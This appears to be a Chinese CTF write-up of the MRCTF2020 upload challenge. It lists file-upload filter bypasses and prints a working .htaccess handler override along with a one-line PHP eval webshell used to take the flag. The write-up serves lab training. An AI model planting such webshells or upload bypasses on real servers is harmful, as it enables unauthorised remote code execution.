当前位置:网站首页>[MRCTF2020]你传你码呢
[MRCTF2020]你传你码呢
2022-08-08 18:47:00 【努力做大佬m0_68074153】
1.是兄弟就来传马
题目提示很明显,就是让我们上传木马。
文件上传的基本思路有下面这些方面。
1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
6、空格绕过,抓包修改后缀,在后缀后面加上空格
7、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
8、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
9、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
10、.user.ini配置文件绕过
2…htaccess文件解析漏洞
经过抓包修改后缀名,修改mime类型,后缀别名之类的修改,发现都被ban了。
最后尝试了一下修改htaccess配置文件发现上传成功了。
.htaccess文件解析漏洞.htaccess文件解析漏洞
通过修改apache的.htaccess配置文件可以将其他类型的文件当作php文件来解析。
上传.htaccess文件文件如下
<FilesMatch "1.jpg">//修改的文件,弱改为.jpg则会吧所有.jpg文件当作php文件解析。
SetHandler application/x-httpd-php
</FilesMatch>

上传时要记得抓包修改一下mime类型绕过mime类型的过滤。
上传成功,接下来上传我们的图片一句话。
<script language='php'>eval($_REQUEST['a']);</script>

上传成功,访问。
一片空白,可以看到我们的1.jpg被当作php解析了。
蚁剑连接。
成功拿到flag。
边栏推荐
- Research on ORACLE subqueries that lead to inability to push predicates
- USB CY68013设备描述符识别失败
- 如何在Firewalld中为特定IP地址开放端口
- Why do programmers only close monitor from none computer after work?Look at the answer ~ each big web site
- 数字化工厂建设的内容主要有哪三个方面
- 阿里云数据库PolarDB开源人才培养计划发布!万元好礼等你来拿!
- 启牛商学院开户是安全的吗?开户靠谱吗?
- 几何g6将搭载harmonyos系统,产品竞争力全面升级
- This error is reported when the shake database is started. Is there a problem with the configuration?
- 数据库学习之库的操作
猜你喜欢
随机推荐
nyoj 712 Exploring treasure
run fscript with lua
We want to replace the RDS database and upgrade from sqlserver 2016 web to 2017 enterprise cluster version, with expert consultation
Michael Bronstein 系列长文:迈向几何深度学习(之三)——第一个几何神经网络模型
堆排序(Heap Sort)实现
Azure Neural TTS continues to be updated to help enterprises develop small language markets
ABAP 报表中如何给报表的输入参数增添 F4 Value Help
启牛商学院开户是安全的吗?开户靠谱吗?
阿里云数据库PolarDB开源人才培养计划发布!万元好礼等你来拿!
Vue program of web cache problem after packaging
Performance optimization | CPU power management from the perspective of ping delay
PX4-做飞控二次开发需要知道的事情-Cxm
数组!!!
面了个腾讯30k+出来的,他让我见识到什么叫精通MySQL调优
制造企业为什么要部署数字化工厂系统
FTP服务初探
shake数据库中 启动报这个错,请问是哪里配置有问题吗?
Advanced CAD practice (2)
【761. 特殊的二进制序列】
PG's huge page









